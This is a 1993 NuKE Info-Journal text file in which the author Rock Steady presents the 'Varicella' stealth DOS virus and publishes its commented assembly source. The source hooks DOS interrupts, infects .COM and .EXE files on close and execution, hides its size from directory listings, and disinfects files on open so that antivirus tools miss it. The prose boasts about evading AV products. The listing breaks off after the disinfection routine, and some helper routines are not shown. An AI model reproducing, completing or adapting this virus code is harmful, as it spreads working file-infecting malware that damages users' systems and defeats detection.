home *** CD-ROM | disk | FTP | other *** search
/ Phoenix Rising BBS / phoenixrising.zip / phoenixrising / vir-docs / nk-info6.arj / NK-INFO6.006 < prev    next >
Text File  |  1993-06-06  |  48KB  |  869 lines

  1. ===============================================================================
  2. Volume 1, Issue 6, May 1993
  3. NuKE Info-Journal #6
  4.  
  5.             NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE
  6.             uK                                                  E-
  7.             KE        "The Varicella Virus Source Codes         -N
  8.             E-                                                  Nu
  9.             -N                                                  uK
  10.             Nu                       By                         KE
  11.             uK                  Rock Steady                     E-
  12.             KE                                                  -N
  13.             E-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-NuKE-Nu
  14.           
  15. ahh, NuKE PoX viruses will never end... Well I noticed a few flaws and faults
  16. in code in the old NuKE PoX virus version 2.0, which I wanted to refine. This
  17. time I had a lot of time, and I _fully_ commented the source codes.
  18.  
  19. % Improvements %
  20.  
  21. The most major improvement is the infection routine, I have created a generic
  22. method that will always use the same infection/disinfection routine. If you 
  23. remember NuKE PoX v2.0 you noticed that I copied whole blocks of the code twice,
  24. which gave the virus a size of 1800 Bytes! This version hovers at 1483 bytes, 
  25. and it's far from tight, but it's EXTREMELY reliable! Meaning this baby should 
  26. never crash for any reason. And it has _many_ added features that N-Pox v2.0 
  27. didn't have! 
  28.  
  29.  
  30. % Introduction to the ideology of the Stealth Virus %
  31.  
  32. Like the SVC viruses, this virus will `disinfect' on the fly. And to the DIMWIT
  33. that said SVC doesn't disinfect by rewriting the program on disk, GO CHECK YOUR
  34. INFO NITWIT. The SVC viruses will disinfect a file when opened, the SVC virus 
  35. will actually remove the virus from the infected program. It will NOT attempt
  36. a disinfection in memory only! It does have the ability to do this to a 
  37. certain extent, if you execute the file, and if you jump towards the end
  38. of the file by Int21h/4202h the SVC virus will fool DOS to think that the file
  39. is not infected, whereby it really is. But this method has a MAJOR flaw, one 
  40. flaw is exercised by F-Prot anti-virus, to defeat this dumb method.
  41.  
  42. The major flaw is that these viruses _cannot_ keep track of file pointers, it 
  43. would take too much code to exercise this. So if you read a file from the 
  44. beginning and read sequentially toward the end, surely enough you will 
  45. encounter the SVC virus, because it does not have the ability to keep track
  46. of the file pointer. So in order to fix this, SVC will do a _real_ disinfection
  47. of the file on disk. Therefore in all aspects the file will look clean, as it 
  48. _is_ clean! Also note, that the SVC viruses also infect System Device drivers,
  49. this is _rarely_ noted, maybe because people use VSUM as a reference?
  50.  
  51. % Varicella Features %
  52.  
  53. The virus will only infect .com and .exe generic files. I have removed the 
  54. .ovl infections because of certain crashes that persist with certain large 
  55. programs. No virus to date successfully does this for some reason. 
  56.  
  57. The virus will hide its file length by FCB directory method (Int21h/ah=11h,12h)
  58. and by File Handles method (Int21h/ah=4Eh,4Fh). 
  59.  
  60. The virus will disinfect the file on opens & extended opens via 
  61. (Int21h/ah=3Fh,6Ch). The virus will also disinfect files as they are executed,
  62. (Int21h/ah=4Bh) and will later reinfect it when it has terminated.
  63.  
  64. The virus will infect on closing (Int21h/ah=3Eh) and it uses the very 
  65. sophisticated Job File Table method (The List of List). 
  66.  
  67. Infection is denoted by the seconds field will equal the day of the month! This
  68. method is _a lot_ better than having the seconds field to 60 or 62, because many
  69. AV programs flag on invalid seconds field. Therefore now the seconds field will
  70. be from a number 1->31 (Days in a month), and only with a 6% chance of an 
  71. invalid second field stamp. Also in order not to create problems, the last two 
  72. bytes of the virus _must_ be DBh,DBh. Therefore the virus uses TWO methods of 
  73. detecting infection, because we wouldn't want to `disinfect' a file that isn't
  74. infected, so we must be 100% sure.
  75.  
  76. I found it no use to have a `fake' disinfection routine, whereby it fakes a 
  77. disinfection, for the reason that this method contains several flaws. And I 
  78. found that testing this virus on my PC with a 40 Meg MFM 65ms drive, showed
  79. _very_ little signs of abnormality. So in speed wise, it's very fast, what is
  80. a 1-2 millisecond more, (1/100s of a second). 
  81.  
  82. When disinfecting a file, the virus even puts back the original seconds field
  83. time stamp, leaving absolutely no trace of its existence! How many viruses do 
  84. that? huh? 
  85.  
  86. % To Come %
  87.  
  88. Well I already have a multi-partition version of this virus, I'm currently
  89. tring to add NED polymorphic possibilities to this virus. This will be a nice
  90. task, as NED is variable in length, therefore I have to save the original
  91. file length, or I will fix NED to be constant in length. Nevertheless you
  92. should see it coming soon.
  93.  
  94. % About the Name %
  95.  
  96. Well I didn't want to call this N-Pox, because it has NO code similarities
  97. with N-Pox, the only thing they share is the method of going resident.
  98.  
  99. But I called this "Varicella" because, Varicella is the medical term for 
  100. (Chicken Pox) that adults get! When a child gets the Pox, you call it Chicken
  101. Pox, when an adult gets it, you call it Varicella! So I found it appropriate
  102. to call this Varicella because it is perhaps the `adult' or later out come
  103. of the N-Pox virus. <hehe>
  104.  
  105. ;=<VARICELL.ASM>================================================================
  106. ;       (c) NuKE Software Development 1991, 1992, 1993
  107. ;
  108. ;       VARICELLA VIRUS (Size 1483)
  109. ;
  110. ;       By Rock Steady
  111. ;
  112. ; TASM VARICELL;
  113. ; TLINK/T VARICELL;
  114. ;
  115. virus_size      equ     last - init_virus               ;virus size (bytes)
  116. mut1            equ     3
  117. mut2            equ     1
  118. mut3            equ     103h                            ;offset in memory
  119.  
  120. seg_a           segment byte public
  121.                 assume  cs:seg_a,ds:seg_a
  122.  
  123.                 org     100h                            ;compile to .com
  124.  
  125. start:          jmp     init_virus
  126.  
  127. ;-------------------------------------------------------------------------------
  128. init_virus:     call    doit_now                        ;begin virus
  129.  
  130. doit_now:       pop     bp                              ;pop call offset
  131.                 sub     bp,offset doit_now              ;fix it with pointer
  132.  
  133.                 push    ax                              ;save registers
  134.                 push    ds
  135.                 push    es
  136.  
  137.                 mov     ax,0abcdh                       ;check if virus is
  138.                 int     13h                             ;alive in memory
  139.                 jmp     next_code1                      ;force jump
  140.  
  141. virus_here:     jmp     exit_com                        ;error jump exit
  142.  
  143. next_code1:     cmp     bx,0abcdh                       ;cmp bx if virus alive
  144.                 jnz     install_virus
  145.                 jmp     virus_here                      ;yes, skip memory part
  146.  
  147. install_virus:  push    bx                              ;save registers
  148.                 push    cx
  149.                 push    dx
  150.                 push    si
  151.                 push    di
  152.                 push    ds
  153.  
  154.                 xor     dx,dx                           ;0 value to dx
  155.                 mov     ds,dx                           ;put that in ds
  156.                 les     si,dword ptr ds:[0084h]         ;get int21 vector
  157.                 mov     word ptr cs:[int21][bp],si      ;save int21 offset
  158.                 mov     word ptr cs:[int21+2][bp],es    ;save int21 segment
  159.  
  160.                 les     si,dword ptr ds:[0070h]         ;get int1c vector
  161.                 mov     word ptr cs:[int1c][bp],si      ;save int1c offset
  162.                 mov     word ptr cs:[int1c+2][bp],es    ;save int1c segment
  163.  
  164.                 les     si,dword ptr ds:[004ch]         ;get int13 vector
  165.                 mov     word ptr cs:[int13][bp],si      ;save int13 offset
  166.                 mov     word ptr cs:[int13+2][bp],es    ;save int13 segment
  167.  
  168.                 pop     ds                              ;DS=PSP (.exe only)
  169.                 push    ds                              ;save DS
  170.                 mov     ax,ds                           ;ds=cx
  171.                 dec     ax                              ;dec cx, cx=mcb
  172.                 mov     es,ax                           ;es=cx, mcb
  173.                 mov     bx,es:mut1                      ;bx=es:0003, mem size
  174.                 mov     dx,virus_size                   ;dx=virus size (bytes)
  175.                 mov     cl,4
  176.                 shr     dx,cl                           ;convert bytes to 16k
  177.                 add     dx,4                            ;paragraphs + 1
  178.                 mov     cx,es                           ;cx=psp segment
  179.                 sub     bx,dx                           ;sub virus size from
  180.                 inc     cx                              ;new mem address
  181.                 mov     es,cx                           ;new segment
  182.                 mov     ah,4ah                          ;set the block size
  183.                 int     21h
  184.  
  185.                 jc      exit_mem
  186.                 mov     ah,48h
  187.                 dec     dx                              ;alloc the mem
  188.                 mov     bx,dx                           ;bx=# of para blocka
  189.                 int     21h
  190.  
  191.                 jc      exit_mem
  192.                 dec     ax                              ;new segment add
  193.                 mov     es,ax                           ;ax=es=mcb
  194.                 mov     cx,8h                           ;DOS is the owner
  195.                 mov     es:mut2,cx                      ;put it in mcb
  196.                 sub     ax,0fh
  197.                 mov     di,mut3                         ;new offset to go
  198.                 mov     es,ax                           ;es=segment
  199.                 mov     si,bp                           ;add delta offset
  200.                 add     si,offset init_virus            ;begining of virus
  201.                 mov     cx,virus_size                   ;our size
  202.                 push    cs                              ;get the correct
  203.                 pop     ds                              ;segment in ds
  204.                 cld                                     ;clear direction to +
  205.                 repne   movsb                           ;move us
  206.  
  207.                 mov     ds,cx                           ;ds=0000
  208.                 cli                                     ;disable ints
  209.                 mov     word ptr ds:[0084h],offset int21_handler     ;hook int21
  210.                 mov     word ptr ds:[0086h],es
  211.                 mov     word ptr ds:[0070h],offset int1c_handler     ;hook int1c
  212.                 mov     word ptr ds:[0072h],es
  213.                 mov     word ptr ds:[004ch],offset int13_handler     ;hook int13
  214.                 mov     word ptr ds:[004eh],es
  215.                 sti                                     ;enable ints
  216.  
  217. exit_mem:       pop     ds                              ;restore 'em
  218.                 pop     di
  219.                 pop     si
  220.                 pop     dx
  221.                 pop     cx
  222.                 pop     bx
  223.  
  224. exit_com:       cmp     word ptr cs:[buffer][bp],5A4Dh  ;.exe file?
  225.                 je      exit_exe_file                   ;yupe exit exe file
  226.                 cmp     word ptr cs:[buffer][bp],4D5Ah  ;.exe file?
  227.                 je      exit_exe_file                   ;yupe exit exe file
  228.                 push    cs                              ;fix cs=ds for .com
  229.                 pop     ds
  230.                 mov     bx,offset buffer                ;get first 3 bytes
  231.                 add     bx,bp                           ;fix delta
  232.                 mov     ax,[bx]                         ;move first 2 bytes
  233.                 mov     word ptr ds:[100h],ax           ;put em in the beginning
  234.                 inc     bx                              ;inc pointer
  235.                 inc     bx
  236.                 mov     al,[bx]                         ;get last of 3rd byte
  237.                 mov     byte ptr ds:[102h],al           ;put that in place
  238.                 pop     es
  239.                 pop     ds
  240.                 pop     word ptr cs:[ax_reg][bp]        ;save ax else where
  241.                 mov     ax,100h
  242.                 push    ax                              ;fake a CALL & RETN
  243.                 mov     ax,word ptr cs:[ax_reg][bp]     ;put ax as normal
  244.                 retn                                    ;link to 100h
  245.  
  246. exit_exe_file:  mov     dx,ds                           ;get psp=ds seg
  247.                 add     dx,10h                          ;add 16bytes to seg
  248.                 pop     es
  249.                 pop     ds
  250.                 pop     ax
  251.                 add     word ptr cs:[buffer+22][bp],dx  ;fix segments
  252.                 add     dx,word ptr cs:[buffer+14][bp]
  253.                 cli
  254.                 mov     ss,dx                           ;restore ss
  255.                 mov     sp,word ptr cs:[buffer+16][bp]  ;and sp
  256.                 sti
  257.                 jmp     dword ptr cs:[buffer+20][bp]    ;jmp to entry pt.
  258.  
  259. ax_reg          dd      0
  260. bp_reg          dd      0
  261. int13           dd      0
  262. int1c           dd      0
  263. int21           dd      0
  264. ;===============================================================================
  265. ;                       Int 13h Handler
  266. ;===============================================================================
  267. int13_handler:
  268.                 cmp     ax,0abcdh                       ;virus test
  269.                 je      int13_test                      ;yupe
  270.  
  271. int13call:      jmp     dword ptr cs:[int13]            ;original int13
  272.  
  273. int13_test:     mov     bx,ax                           ;fix
  274.                 iret
  275. ;===============================================================================
  276. ;                       Int 1Ch Handler
  277. ;===============================================================================
  278. int1c_handler:
  279.                 iret
  280. ;-------------------------------------------------------------------------------
  281. ;                       FCB Dir Stealth Routine (File Find)
  282. ;-------------------------------------------------------------------------------
  283. fcb_dir:        call    calldos21                       ;get the fcb block
  284.                 test    al,al                           ;test for error
  285.                 jnz     fcb_out                         ;jmp if error
  286.                 push    ax                              ;save registers
  287.                 push    bx
  288.                 push    cx
  289.                 push    es
  290.                 mov     ah,51h                          ;get current psp
  291.                 call    calldos21                       ;call int21
  292.  
  293.                 mov     es,bx                           ;es=segment of psp
  294.                 cmp     bx,es:[16h]                     ;psp of command.com?
  295.                 jnz     fcb_out1                        ;no, then jmp
  296.                 mov     bx,dx                           ;ds:bx=fcb
  297.                 mov     al,[bx]                         ;1st byte of fcb
  298.                 push    ax                              ;save it
  299.                 mov     ah,2fh                          ;get dta
  300.                 call    calldos21                       ;es:bx <- dta
  301.  
  302.                 pop     ax                              ;get first byte
  303.                 inc     al                              ;al=ffh therefor al=ZR
  304.                 jnz     fcb_old                         ;if != ZR jmp
  305.                 add     bx,7h                           ;extended fcb here, +7
  306. fcb_old:        mov     ax,es:[bx+17h]                  ;get file time stamp
  307.                 mov     cx,es:[bx+19h]                  ;get file date stamp
  308.                 and     ax,1fh                          ;unmask seconds field
  309.                 and     cx,1fh                          ;unmask day of month
  310.                 xor     ax,cx                           ;are they equal?
  311.                 jnz     fcb_out1                        ;nope, exit then
  312.                 sub     word ptr es:[bx+1dh],virus_size ;sub away virus_size
  313.                 sbb     word ptr es:[bx+1fh],0          ;sub with carry flag
  314.  
  315. fcb_out1:       pop     es                              ;restore registers
  316.                 pop     cx
  317.                 pop     bx
  318.                 pop     ax
  319. fcb_out:        iret                                    ;return control
  320. ;-------------------------------------------------------------------------------
  321. ;                       ASCIIZ Dir Stealth Routine (File Find)
  322. ;-------------------------------------------------------------------------------
  323. dta_dir:        call    calldos21                       ;get results to dta
  324.                 jb      dta_out                         ;if error, split
  325.                 push    ax                              ;save register
  326.                 push    bx
  327.                 push    cx
  328.                 push    es
  329.                 mov     ah,2fh                          ;get current dta
  330.                 call    calldos21                       ;es:bx <- dta
  331.  
  332.                 mov     ax,es:[bx+16h]                  ;get file time stamp
  333.                 mov     cx,es:[bx+18h]                  ;get file date stamp
  334.                 and     ax,1fh                          ;unmask seconds field
  335.                 and     cx,1fh                          ;unmask day of month
  336.                 xor     ax,cx                           ;are they equal
  337.                 jnz     dta_out1                        ;nope, exit then
  338.                 sub     word ptr es:[bx+1ah],virus_size ;sub away virus_size
  339.                 sbb     word ptr es:[bx+1ch],0          ;sub with carry flag
  340.  
  341. dta_out1:       pop     es                              ;restore registers
  342.                 pop     cx
  343.                 pop     bx
  344.                 pop     ax
  345. dta_out:        retf    0002h                           ;pop 2 words of stack
  346. ;===============================================================================
  347. ;                       Int 21h Handler
  348. ;===============================================================================
  349. int21_handler:
  350.                 cmp     ah,11h                          ;FCB find first match
  351.                 je      old_dir
  352.                 cmp     ah,12h                          ;FCB find next match
  353.                 je      old_dir
  354.                 cmp     ah,4eh                          ;Find first match
  355.                 je      new_dir
  356.                 cmp     ah,4fh                          ;Find next match
  357.                 je      new_dir
  358.                 cmp     ah,3dh                          ;Opening a file
  359.                 je      file_open
  360.                 cmp     ah,6ch                          ;Ext_opening a file
  361.                 je      file_ext_open
  362.                 cmp     ah,3eh                          ;closing a file
  363.                 je      file_close
  364.                 cmp     ah,4bh                          ;Execution of a file
  365.                 je      file_execute
  366.  
  367. int21call:      jmp     dword ptr cs:[int21]            ;original int21
  368.  
  369. old_dir:        jmp     fcb_dir                         ;fcb file find
  370.  
  371. new_dir:        jmp     dta_dir                         ;new asciiz file find
  372.  
  373. file_open:      jmp     open_file                       ;disinfect opening file
  374.  
  375. file_ext_open:  jmp     open_ext_file                   ;disinfect opening file
  376.  
  377. file_close:     jmp     close_file                      ;infect closing file
  378.  
  379. file_execute:   call    check_extension                 ;check for ok ext
  380.                 cmp     byte ptr cs:[com_ext],1         ;is it a com?
  381.                 je      exec_disinfect                  ;yupe disinfect it
  382.                 cmp     byte ptr cs:[exe_ext],1         ;is it a exe?
  383.                 je      exec_disinfect                  ;yupe disinfect it
  384.                 jmp     SHORT int21call
  385.  
  386. exec_disinfect: call    exec_disinfect1                 ;Disinfect file
  387.  
  388.                 mov     word ptr cs:[ax_reg],dx
  389.                 pushf                                   ;fake an int
  390.                 call    dword ptr cs:[int21]            ;call dos
  391.                 xchg    word ptr cs:[ax_reg],dx         ;restore dx
  392.  
  393.                 mov     byte ptr cs:[close],0           ;reset flag..
  394.                 push    ax                              ;store 'em
  395.                 push    bx
  396.                 push    cx
  397.                 push    dx
  398.                 push    si
  399.                 push    di
  400.                 push    es
  401.                 push    ds
  402. closing_infect: mov     ax,3524h                        ;get error handler
  403.                 call    calldos21                       ;call dos
  404.  
  405.                 push    es                              ;save es:bx= int_24
  406.                 push    bx                              ;error handler
  407.                 push    ds                              ;ds:dx= asciiz string
  408.                 push    dx
  409.                 push    cs                              ;cs=ds
  410.                 pop     ds
  411.                 mov     dx,offset int21_handler         ;hook error handler
  412.                 mov     ax,2524h                        ;with our int24h
  413.                 call    calldos21
  414.                 pop     dx                              ;restore ds:dx asciiz
  415.                 pop     ds                              ;string
  416.  
  417.                 cmp     byte ptr cs:[close],0           ;Are we closing file?
  418.                 je      exec_get_att                    ;nope, then jmp
  419.                 mov     ax,word ptr cs:[handle]         ;yupe, ax=file handle
  420.                 jmp     exec_open_ok                    ;jmp so you don't open
  421.                                                         ;the file twice...
  422. exec_get_att:   mov     ax,4300h                        ;get file attribs
  423.                 call    calldos21                       ;call dos
  424.                 jnc     exec_attrib                     ;no, error jmp
  425.                 jmp     exec_exit2                      ;ERROR - split
  426.  
  427. exec_attrib:    mov     byte ptr cs:[attrib],cl
  428.                 test    cl,1                            ;check bit 0 (read_only)
  429.                 jz      exec_attrib_ok                  ;if bit0=0 jmp
  430.                 dec     cx                              ;else turn of bit_0
  431.                 mov     ax,4301h                        ;write new attribs
  432.                 call    calldos21                       ;call dos
  433.  
  434. exec_attrib_ok: mov     ax,3d02h                        ;open file for r/w
  435.                 call    calldos21                       ;call dos
  436.                 jnc     exec_open_ok                    ;ok, no error jmp
  437.                 jmp     exec_exit2                      ;ERROR - split
  438.  
  439. exec_open_ok:   xchg    bx,ax                           ;bx=file handler
  440.                 push    cs                              ;cs=ds
  441.                 pop     ds
  442.                 mov     ax,5700h                        ;get file time/date
  443.                 call    calldos21                       ;call dos
  444.  
  445.                 mov     word ptr cs:[old_time],cx       ;save file time
  446.                 mov     word ptr cs:[org_time],cx
  447.                 mov     word ptr cs:[old_date],dx       ;save file date
  448.                 and     cx,1fh                          ;unmask second field
  449.                 and     dx,1fh                          ;unmask date field
  450.                 xor     cx,dx                           ;are they equal?
  451.                 jnz     exec_time_ok                    ;nope, file not infected
  452.                 jmp     exec_exit3                      ;FILE INFECTED
  453.  
  454. exec_time_ok:   and     word ptr cs:[old_time],0ffe0h   ;reset second bits
  455.                 or      word ptr cs:[old_time],dx       ;seconds=day of month
  456.  
  457.                 mov     ax,4200h                        ;reset ptr to beginning
  458.                 xor     cx,cx                           ;(as opened files may
  459.                 xor     dx,dx                           ; have ptr anywhere,
  460.                 call    calldos21                       ; so be smart!)
  461.  
  462.                 mov     word ptr cs:[marker],0DBDBh     ;File Infection marker
  463.                 mov     dx,offset ds:[buffer]           ;ds:dx buffer
  464.                 mov     cx,18h                          ;read 18h bytes
  465.                 mov     ah,3fh                          ;read from handle
  466.                 call    calldos21                       ;call dos
  467.  
  468.                 jc      exec_exit1                      ;error? if yes jmp
  469.                 sub     cx,ax                           ;did we read 18h bytes?
  470.                 jnz     exec_exit1                      ;if no exit
  471.                 mov     dx,cx                           ;cx=0 dx=0
  472.                 mov     ax,4202h                        ;jmp to EOF
  473.                 call    calldos21                       ;call dos
  474.  
  475.                 jc      exec_exit1                      ;error? exit if so.
  476.                 mov     word ptr cs:[filesize+2],ax     ;save lower 16bit fileSz
  477.                 mov     word ptr cs:[filesize],dx       ;save upper 16bit fileSz
  478.                 call    chkbuf                          ;check if .exe
  479.                 jz      exec_cool                       ;jmp if .exe file
  480.                 cmp     ax,0FFF0h - virus_size          ;64k-256-virus < 64k?
  481.                 jb      exec_cool                       ;if less jmp!
  482.  
  483. exec_exit1:     jmp     exec_exit3                      ;exit!
  484.  
  485. exec_cool:      mov     dx,offset init_virus            ;ds:dx=virus beginning
  486.                 mov     cx,virus_size                   ;cx=virus size
  487.                 mov     ah,40h                          ;write to handle
  488.                 call    calldos21                       ;call dos
  489.                 jc      exec_exit1                      ;error? if yes exit
  490.                 sub     cx,ax                           ;cx=ax bytes?
  491.                 jnz     exec_exit1                      ;not equal exit
  492.                 mov     dx,cx                           ;cx=0 dx=0
  493.                 mov     ax,4200h                        ;jmp to top of file
  494.                 call    calldos21                       ;call dos
  495.  
  496.                 jc      exec_exit1                      ;error, then exit
  497.                 mov     ax,word ptr cs:[filesize+2]     ;ax=lower 16bit fileSize
  498.                 call    chkbuf                          ;check if .exe
  499.                 jnz     exec_com_file                   ;if !=.exe jmp
  500.                 mov     dx,word ptr cs:[filesize]       ;get upper 16bit
  501.  
  502.                 mov     cx,4                            ;cx=0004
  503.                 mov     si,word ptr cs:[buffer+8]       ;get exe header size
  504.                 shl     si,cl                           ;mul by 16
  505.                 sub     ax,si                           ;exe_header - filesize
  506.                 sbb     dx,0h                           ;sub with carry
  507.  
  508.                 mov     cx,10h                          ;cx=0010
  509.                 div     cx                              ;ax=length in para
  510.                                                         ;dx=remaider
  511.                 mov     word ptr cs:[buffer+20],dx      ;New IP offset address
  512.                 mov     word ptr cs:[buffer+22],ax      ;New CS (In paragraphs)
  513.                 add     dx,virus_size+100h              ;Dx=virus_size+256
  514.  
  515.                 mov     word ptr cs:[buffer+16],dx      ;New SP entry
  516.                 mov     word ptr cs:[buffer+14],ax      ;New SS (in para)
  517.                 add     word ptr cs:[buffer+10],(virus_size)/16+1   ;min para
  518.                 mov     ax,word ptr cs:[buffer+10]      ;ax=min para needed
  519.                 cmp     ax,word ptr cs:[buffer+12]      ;cmp with max para
  520.                 jb      exec_size_ok                    ;jmp if ok!
  521.                 mov     word ptr cs:[buffer+12],ax      ;nop, enter new max
  522.  
  523. exec_size_ok:   mov     ax,word ptr cs:[buffer+2]       ;ax=file size
  524.                 add     ax,virus_size                   ;add virus to it
  525.                 push    ax                              ;push it
  526.                 and     ah,1                            ;
  527.                 mov     word ptr cs:[buffer+2],ax       ;restore new value
  528.                 pop     ax                              ;pop ax
  529.                 mov     cl,9                            ;
  530.                 shr     ax,cl                           ;
  531.                 add     word ptr cs:[buffer+4],ax       ;enter fileSz + header
  532.                 mov     dx,offset buffer                ;ds:dx=new exe header
  533.                 mov     cx,18h                          ;cx=18h bytes to write
  534.                 jmp     SHORT exec_write_it             ;jmp...
  535.  
  536. exec_com_file:  sub     ax,3                            ;sub 3 for jmp address
  537.                 mov     word ptr cs:[buffer+1],ax       ;store new jmp value
  538.                 mov     byte ptr cs:[buffer],0E9h       ;E9h=JMP
  539.                 mov     dx,offset buffer                ;ds:dx=buffer
  540.                 mov     cx,3                            ;cx=3 bytes
  541.  
  542. exec_write_it:  mov     ah,40h                          ;write to file handle
  543.                 call    calldos21                       ;call dos
  544.  
  545.                 mov     dx,word ptr cs:[old_date]       ;restore old date
  546.                 mov     cx,word ptr cs:[old_time]       ;restore old time
  547.                 mov     ax,5701h                        ;write back to file
  548.                 call    calldos21                       ;call dos
  549.  
  550. exec_exit3:     mov     ah,3eh                          ;close file
  551.                 call    calldos21                       ;call dos
  552.  
  553. exec_exit2:     pop     dx                              ;restore es:bx (the
  554.                 pop     ds                              ;original int_24)
  555.                 mov     ax,2524h                        ;put back to place
  556.                 call    calldos21                       ;call dos
  557.  
  558.                 pop     ds
  559.                 pop     es
  560.                 pop     di                              ;pop registers
  561.                 pop     si
  562.                 pop     dx
  563.                 xor     cx,cx
  564.                 mov     cl,byte ptr cs:[attrib]         ;get old file attrib
  565.                 mov     ax,4301h                        ;put them back
  566.                 call    calldos21                       ;call dos
  567.                 pop     cx
  568.                 pop     bx
  569.                 pop     ax
  570.  
  571.                 cmp     byte ptr cs:[close],0           ;get called by exec?
  572.                 je      exec_good_bye                   ;yep, then jmp
  573.                 iret                                    ;else exit now.
  574.  
  575. exec_good_bye:  mov     dx,word ptr cs:[ax_reg]         ;restore dx
  576.                 iret                                    ;iret
  577. ;-------------------------------------------------------------------------------
  578. ;                       Close File Int21h/ah=3Eh
  579. ;-------------------------------------------------------------------------------
  580. close_file:     cmp     bx,4h                           ;file handler > 4?
  581.                 ja      close_cont                      ;jmp if above
  582.                 jmp     int21call                       ;else exit
  583.  
  584. close_cont:     push    ax                              ;save 'em
  585.                 push    bx
  586.                 push    cx
  587.                 push    dx
  588.                 push    si
  589.                 push    di
  590.                 push    es
  591.                 push    ds
  592.  
  593.                 push    bx                              ;save file handler
  594.                 mov     ax,1220h                        ;get job file table!
  595.                 int     2fh                             ;call multiplex
  596.                                                         ;es:di=JFT for handler
  597.                 mov     ax,1216h                        ;get system file table
  598.                 mov     bl,es:[di]                      ;bl=SFT entry
  599.                 int     2fh                             ;call multiplex
  600.                 pop     bx                              ;save file handler
  601.  
  602.                 add     di,0011h
  603.                 mov     byte ptr es:[di-0fh],02h        ;set to read/write
  604.  
  605.                 add     di,0017h
  606.                 cmp     word ptr es:[di],'OC'           ;check for .COM file
  607.                 jne     closing_next_try                ;no try next ext
  608.                 cmp     byte ptr es:[di+2h],'M'         ;check last letter
  609.                 je      closing_cunt3                   ;no, file no good, exit
  610.  
  611. closing_exit:   jmp     closing_nogood                  ;exit
  612.  
  613. closing_next_try:
  614.                 cmp     word ptr es:[di],'XE'           ;check for .EXE file
  615.                 jne     closing_exit                    ;no, exit
  616.                 cmp     byte ptr es:[di+2h],'E'         ;check last letter
  617.                 jne     closing_exit                    ;no, exit
  618.  
  619. closing_cunt3:  mov     byte ptr cs:[close],1           ;set closing flag
  620.                 mov     word ptr cs:[handle],bx         ;save handler
  621.                 jmp     closing_infect                  ;infect file!
  622.  
  623. closing_nogood: pop     ds                              ;restore 'em
  624.                 pop     es
  625.                 pop     di
  626.                 pop     si
  627.                 pop     dx
  628.                 pop     cx
  629.                 pop     bx
  630.                 pop     ax
  631.                 jmp     int21call                       ;good bye, baby...
  632. ;-------------------------------------------------------------------------------
  633. ;               Execute Disinfecting routine
  634. ;-------------------------------------------------------------------------------
  635. exec_disinfect1         PROC
  636.                 push    ax                              ;save registers
  637.                 push    bx
  638.                 push    cx
  639.                 push    dx
  640.                 push    ds
  641.  
  642.                 mov     ax,4300h                        ;get file attribs
  643.                 call    calldos21                       ;call dos
  644.  
  645.                 test    cl,1h                           ;is Read-only flag?
  646.                 jz      okay_dis                        ;no, jmp attribs ok
  647.                 dec     cx                              ;turn off bit 0
  648.                 mov     ax,4301h                        ;write new attribs
  649.                 call    calldos21                       ;call dos
  650.                 jnc     okay_dis                        ;No error? then jmp
  651.                 jmp     end_dis                         ;error? exit!
  652.  
  653. okay_dis:       mov     ax,3d02h                        ;open file for r/w
  654.                 call    calldos21                       ;call dos
  655.                 jnc     dis_fileopen                    ;No error? then jmp
  656.                 jmp     end_dis                         ;Error? exit!
  657.  
  658. dis_fileopen:   xchg    bx,ax                           ;bx=file handle
  659.                 mov     ax,5700h                        ;get file time/date
  660.                 call    calldos21                       ;call dos
  661.  
  662.                 mov     word ptr cs:[old_time],cx       ;save file time
  663.                 mov     word ptr cs:[old_date],dx       ;save file date
  664.                 and     cx,1fh                          ;unmask second field
  665.                 and     dx,1fh                          ;unmask date field
  666.                 xor     cx,dx                           ;are they equal?
  667.                 jnz     half_way                        ;nope, file not infected
  668.  
  669.                 mov     ax,4202h                        ;jmp to EOF
  670.                 xor     cx,cx                           ;cx=0
  671.                 xor     dx,dx                           ;dx=0
  672.                 call    calldos21                       ;call dos
  673.  
  674.                 push    cs                              ;cs=ds
  675.                 pop     ds                              ;
  676.                 mov     cx,dx                           ;dx:ax=file size
  677.                 mov     dx,ax                           ;save to cx:dx
  678.                 push    cx                              ;save upper fileSz
  679.                 push    dx                              ;save lower fileSz
  680.  
  681.                 sub     dx,1Ch                          ;filesize-1C=origin byte
  682.                 sbb     cx,0                            ;sub with carry
  683.                 mov     ax,4200h                        ;position ptr
  684.                 call    calldos21                       ;call dos
  685.                 mov     ah,3fh                          ;open file
  686.                 mov     cx,1Ch                          ;read last 1Ch bytes
  687.                 mov     dx,offset org_time              ;put in ds:dx
  688.                 call    calldos21                       ;call dos
  689.                 call    chkbuf                          ;Did it work?
  690.                 je      half                            ;Yes,Jmp
  691.                 cmp     word ptr ds:[marker],0DBDBh     ;File REALLY Infected?
  692.                 je      half                            ;Yes, then jmp
  693.  
  694.                 pop     dx
  695.                 pop     cx
  696. half_way:       jmp     end_dis1                        ;exit, error!
  697.  
  698. half:           xor     cx,cx                           ;cx=0
  699.                 xor     dx,dx                           ;dx=0
  700.                 mov     ax,4200h                        ;pointer to top of file
  701.                 call    calldos21                       ;call dos
  702.  
  703.                 mov     ah,40h                          ;write function
  704.                 mov     dx,offset buffer                ;ds:dx=buffer
  705.                 mov     cx,18h                          ;cx=18h bytes to write
  706.                 call    chkbuf                          ;check if .exe?
  707.                 jz      SHORT dis_exe_jmp               ;yupe, jmp
  708.                 mov     cx,3h                           ;else write 3 bytes
  709. dis_exe_jmp:    call    calldos21                       ;call dos
  710.  
  711.                 pop     dx                              ;pop original fileSz
  712.                 pop     cx
  713.  
  714.                 sub     dx,virus_size                   ;Sub with virus_size
  715.                 sbb     cx,0                            ;sub with carry
  716.                 mov     ax,4200h                        ;ptr top of virus
  717.                 call    calldos21                       ;call dos
  718.  
  719.                 mov     ah,40h                          ;write function
  720.                 xor     cx,cx                           ;write 0 bytes
  721.                 call    calldos21                       ;call dos! (new EOF)
  722.  
  723.                 mov     cx,word ptr ds:[org_time]       ;get original time
  724.                 mov     dx,word ptr ds:[old_date]       ;get original date
  725.                 mov     ax,5701h                        ;put back to file
  726.                 call    calldos21                       ;call dos
  727.  
  728. end_dis1:       mov     ah,3eh                          ;close file handle
  729.                 call    calldos21                       ;call dos
  730.  
  731. end_dis:        pop     ds                              ;restore values
  732.                 pop     dx
  733.                 pop     cx
  734.                 pop     bx
  735.                 pop     ax
  736.                 ret
  737. exec_disinfect1         ENDP
  738. ;-------------------------------------------------------------------------------
